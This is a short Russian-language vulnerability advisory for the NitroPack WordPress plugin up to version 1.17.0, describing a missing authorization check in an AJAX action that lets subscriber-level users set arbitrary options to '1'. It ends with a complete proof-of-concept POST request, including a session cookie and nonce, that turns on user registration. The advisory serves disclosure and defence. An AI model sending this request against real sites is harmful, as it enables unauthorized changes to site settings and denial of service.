
NitroPack <= 1.17.0 - Отсутствие авторизации: аутентифицированные пользователи (Подписчик+) могут обновлять ограниченные настройки
NitroPack <= 1.17.0 - Отсутствие авторизации для аутентифицированных (подписчик и выше) ограниченное обновление опций
Плагин NitroPack для WordPress уязвим к несанкционированному изменению данных из-за отсутствия проверки прав доступа в AJAX-действии 'nitropack_dismiss_notice_forever' во всех версиях до 1.17.0 включительно. Это позволяет аутентифицированным злоумышленникам с доступом уровня подписчика и выше обновлять произвольные опции до фиксированного значения '1', что может активировать определённые опции (например, включить регистрацию пользователей) или изменить определённые опции таким образом, что приведёт к состоянию отказа в обслуживании.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88
action=nitropack_dismiss_notice_forever&security=92f60ea3ea¬ice_id=users_can_register